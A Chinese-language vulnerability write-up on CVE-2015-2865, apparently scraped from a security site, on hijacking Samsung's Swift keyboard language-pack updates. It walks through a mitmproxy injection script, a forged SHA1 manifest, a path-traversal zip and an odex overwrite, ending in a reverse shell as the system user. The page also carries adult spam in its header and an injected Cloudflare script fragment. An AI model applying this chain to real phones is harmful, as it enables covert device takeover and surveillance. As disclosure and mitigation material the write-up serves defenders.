压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

三星默認輸入法遠程代碼執行

Summary

在能夠劫持你的網絡前提下,攻擊者能夠利用三星自帶輸入法更新機制進行遠程代碼執行并且具有 system 權限。

Swift輸入法預裝在三星手機中并且不能卸載和禁用。即使修改了默認輸入法,這個漏洞也是可以利用的。

CVE-2015-2865

可能造成的危害:

  1. 獲取傳感器以及資源,例如GPS/照相機/麥克風
  2. 靜默安裝惡意軟件
  3. 篡改app 或者手機行為
  4. 竊聽通話或者短信
  5. 竊取個人敏感數據比如照片/短信。

How it Works

手機廠商(OEMs)和運營商(carriers)經常在設備中預裝第三方應用,而且這些應用常常擁有較高的權限。就比如這次三星預裝的Swift輸入法

?  /tmp  aapt d badging SamsungIME.apk | head -3

  package: name='com.sec.android.inputmethod' versionCode='4' versionName='4.0'

  sdkVersion:'18'

  targetSdkVersion:'19'

  ?  /tmp  shasum SamsungIME.apk

  72f05eff8aecb62eee0ec17aa4433b3829fd8d22  SamsungIME.apk

  ?  /tmp  aapt d xmltree SamsungIME.apk AndroidManifest.xml | grep shared

  A: android:sharedUserId(0x0101000b)="android.uid.system" (Raw: "android.uid.system")

上面的信息表明此輸入法用的是三星系統證書簽名的,并且擁有 system 權限只比 root 權限差一點。

Accessibility

此漏洞的攻擊向量需要攻擊者能夠篡改上行網絡流量,當輸入法開始升級后漏洞將在設備重啟后隨機自動觸發(無需交互)。可以在近距離的情況下利用大菠蘿/偽基站,以及同局域網的情況下利用 arp 攻擊。完全遠程的話可以利用DNS劫持或者劫持路由器/運營商…(都這么屌了…)

整個測試過程是在一個有 USB 網卡的 linux 虛擬機下進行的,所有的 http流量被透明代理到mitmproxy上,之后通過腳本生成注入攻擊載荷。

Discovery of the Vulnerability

Swift輸入法有一個升級功能可以添加一個新的語言包到現在有的語言中。當用戶下載新的語言包的時候。會進行如下請求:

GET http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/az_AZ.zip

  ← 200 application/zip 995.63kB 601ms

壓縮包下載后會被解壓到以下目錄:

/data/data/com.sec.android.inputmethod/app_SwiftKey/<languagePackAbbrev>/.

壓縮包內容:

root@kltevzw:/data/data/com.sec.android.inputmethod/app_SwiftKey/az_AZ # ls -l

  -rw------- system   system     606366 2015-06-11 15:16 az_AZ_bg_c.lm1

  -rw------- system   system    1524814 2015-06-11 15:16 az_AZ_bg_c.lm3

  -rw------- system   system        413 2015-06-11 15:16 charactermap.json

  -rw------- system   system         36 2015-06-11 15:16 extraData.json

  -rw------- system   system         55 2015-06-11 15:16 punctuation.json

可以看出壓縮包中的文件是由 system user 寫入的。權限很高哦,可以寫入很多位置哦。因為壓縮包和請求都是明文的,咱們可以嘗試去篡改它。

可以通過 wifi 代理完成這個嘗試,寫了一個腳本來提高效率,腳本作用是當有語言包的請求時進行修改

def request(context, flow):

  if not flow.request.host == "kslm.swiftkey.net" or not flow.request.endswith(".zip"):

  return

  resp = HTTPResponse(

  [1, 1], 200, "OK",

  ODictCaseless([["Content-Type", "application/zip"]]),

  "helloworld")

  with open('test_language.zip', 'r') as f:

  payload = f.read()

  resp.content = payload

  resp.headers["Content-Length"] = [len(payload)]

  flow.reply(resp)

Payload非常簡單,就一個文件

?  /tmp  unzip -l test_keyboard.zip

  Archive:  test_keyboard.zip

  Length     Date   Time    Name

  --------    ----   ----    ----

  6  06-11-15 15:33   test

  --------                   -------

  6                   1 file

修改之后查看/data/data/com.sec.android.inputmethod/app_SwiftKey/目錄,并沒有發現語言包以及測試文件。這表示,應用對壓縮包進行了合法性驗證。當通過多次測試后,發現在壓縮包下載之前有一個包含所有語言包列表/url路徑/zip的SHA1哈希的配置文件被下載。

請求如下:

>> GET http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json

  ← 200 application/json 15.38kB 310ms]

請求這個配置文件:

? curl -s 'http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json' | jq '.[] | select(。name == "English (US)")'

服務器會返回一個列表包括語言/url/sha1,英語的 payload 如下:

{

  "name": "English (US)",

  "language": "en",

  "country": "US",

  "sha1": "3b98ee695b3482bd8128e3bc505b427155aba032",

  "version": 13,

  "archive": "http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/en_US.zip",

  "live": {

  "sha1": "b846a2433cf5fbfb4f6f9ba6c27b6462bb1a923c",

  "version": 1181,

  "archive": "http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/ll_en_US.zip"

  }

  }

之前所修改的壓縮包的SHA1并沒有在此配置文件中。配置文件也并沒有進行安全的傳輸(加密/簽名…),所以如果計算好 SHA1后偽造一個配置文件即可繞過上面的效驗了。嘗試在 payload 中加入目錄遍歷來達到寫入/data/.目錄的目的 (此目錄需要 system 權限訪問)。

payload 如下:

?  samsung_keyboard_hax  unzip -l evil.zip

  Archive:  evil.zip

  Length      Date    Time    Name

  ---------  ---------- -----   ----

  5  2014-08-22 18:52   ////////data/payload

  ---------                     -------

  5                     1 file

做了如上嘗試后成功寫入文件

?  samsung_keyboard_hax  adbx shell su -c "ls -l /data/payload"

  -rw------- system   system          5 2014-08-22 16:07 payload

File write to code execution

現在我們有了 system user 的任意寫入權限。下一個目標就是將寫權限變成代碼執行。Swift 輸入法自身目錄并沒有可執行的二進制文件供我們覆蓋。所以得另尋它處。

再對dex文件進行優化之后,文件會緩存到/data/dalvik-cache/目錄下。此目錄下所有文件為 system user 權限。現在需要尋找system組的文件,這樣就可以通過system user權限執行。

root@kltevzw:/data/dalvik-cache # /data/local/tmp/busybox find . -type f -group 1000 ./system@framework@colorextractionlib.jar@classes.dex ./system@framework@com.google.android.media.effects.jar@classes.dex ./system@framework@com.google.android.maps.jar@classes.dex ./system@framework@VZWAPNLib.apk@classes.dex ./system@framework@cneapiclient.jar@classes.dex ./system@framework@com.samsung.device.jar@classes.dex ./system@framework@com.quicinc.cne.jar@classes.dex ./system@framework@qmapbridge.jar@classes.dex ./system@framework@rcsimssettings.jar@classes.dex ./system@framework@rcsservice.jar@classes.dex ./system@priv-app@DeviceTest.apk@classes.dex

要從上述文件中選出一個自動調用的組件。理想情況下,對于整個odex文件僅替換需要的目標。最后選擇DeviceTest(/data/dalvik-cache/system@priv-app@DeviceTest.apk@classes.dex) 作為目標。

反編譯之后查看manifest文件,可以看到應用確實有sharedUserId=”android.id.system”,并且看到BroadcastReceiver定義, 激活它即可自動重啟設備。

<manifest android:sharedUserId="android.uid.system" android:versionCode="1" android:versionName="1.0" package="com.sec.factory" xmlns:android="http://schemas.android.com/apk/res/android">

  …

  <receiver android:name="com.sec.factory.entry.FactoryTestBroadcastReceiver">

  <intent-filter>

  <action android:name="android.intent.action.MEDIA_SCANNER_FINISHED" />

  <data android:scheme="file" />

  </intent-filter>

  <intent-filter>

  <action android:name="android.intent.action.PACKAGE_CHANGED" />

  <data android:scheme="package" />

  </intent-filter>

  <intent-filter>

  <action android:name="android.intent.action.PRE_BOOT_COMPLETED" />

  <action android:name="android.intent.action.BOOT_COMPLETED" />

  </intent-filter>

  <intent-filter>

  <action android:name="com.sec.atd.request_reconnect" />

  <action android:name="android.intent.action.CSC_MODEM_SETTING" />

  </intent-filter>

  </receiver>

現在需要為com.sec.factory.entry.FactoryTestBroadcastReceiver生成一個odex文件,exploit 代碼如下:

?cat FactoryTestBroadcastReceiver.java | head

  package com.sec.factory.entry;

  import java.lang.Class;

  import java.io.File;

  import android.content.BroadcastReceiver;

  import android.content.Context;

  import android.content.Intent;

  import android.util.Log;

  public class FactoryTestBroadcastReceiver extends BroadcastReceiver {

  //Exploit code here

  }

創建完payload之后,我們可以通過DalvikExchange (dx)工具編譯并運行它用來獲取一個包含dalvik 字節代碼的。jar文件。再進行一些優化,將jar push到設備生成odex

ANDROID_DATA=/data/local/tmp dalvikvm -cp /data/local/tmp/<payload.jar>

  com.sec.factory.entry.FactoryTestBroadcastReceiver

緩存文件所在目錄,shell權限可讀

shell@kltevzw:/data/local/tmp/dalvik-cache $ ls -l

  -rw-r--r-- shell    shell        3024 2014-07-18 14:09  data@local@tmp@payload.jar

  /* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */@classes.dex

將payload注入到我們語言包之后,觸發下載并重啟。

D/dalvikvm( 6276): DexOpt: --- BEGIN 'payload.jar' (bootstrap=0) ---

  D/dalvikvm( 6277): DexOpt: load 10ms, verify+opt 6ms, 112652 bytes

  D/dalvikvm( 6276): DexOpt: --- END 'payload.jar' (success) ---

  I/dalvikvm( 6366): DexOpt: source file mod time mismatch (3edeaec0 vs 3ed6b326)

作為 .ODEX 頭的一部分,其存儲CRC32以及classes.dex的修改時間,它根據原始APK的zip文件結構表:

unzip -vl SM-G900V_KOT49H_DeviceTest.apk classes.dex

  Archive:  SM-G900V_KOT49H_DeviceTest.apk

  Length   Method    Size  Ratio   Date   Time   CRC-32    Name

  --------  ------  ------- -----   ----   ----   ------    ----

  643852  Defl:N   248479  61%  06-22-11 22:25  f56f855f  classes.dex

  --------          -------  ---                            -------

  643852           248479  61%                            1 file

需要從zip文件中拉取這兩點信息對載荷dex文件進行 patch,讓其看上去像是從原始DeviceTest.apk生成的。請注意,CRC32以及文件修改時間并不能作為一種安全機制。需要了解的是,因為應用更新了所有緩存才需要更新。

Patching ODEX文件并觸發漏洞,之后將會執行payload.因為是測試,所以這里只彈了個 shell.

nc 192.168.181.96 8889

  id

  uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1007(log),1010(wifi),1015(sdcard_rw),1021(gps),1023(media_rw),1024(mtp),1028(sdcard_r),2001(cache),3001(net_bt_admin),3002(net_bt),3003(inet),3004(net_raw),3005(net_admin),3009(qcom_diag),41000(u0_a31000) context=u:r:system_app:s0

需要注意一點:生成 odex 載荷對應特定的三星設備。也就是說不同的設備/相同設備的不同系統版本需要單獨生成 odex 載荷。還好Swift輸入法在http 的UA中給咱們提供了這些信息

 'User-Agent': 'Dalvik/1.6.0 (Linux; U; Android 4.4.2; SM-G900T Build/KOT49H)'

Mitigations

有 root 權限的設備可以卸載此輸入法。

adb shell pm list packages -f |grep IME

找到文件后切換到 root 權限進入目錄刪除該文件。或者禁用此輸入法

pm disable com.sec.android.inputmethod  // 也可能叫這個: com.samsung.inputmethod

沒有 root 的權限的設備可以在收到 OTA 之后盡快升級。

如果你的設備三星已經不推送更新了,那就盡量不要加入一些陌生 wifi.如果大表哥要打你,你是擋不住的。

Device

2015.6.16受影響設備統計

device

上一篇:JSONP挖掘與利用

下一篇:Shodan(搜蛋)命令行模式使用TIPS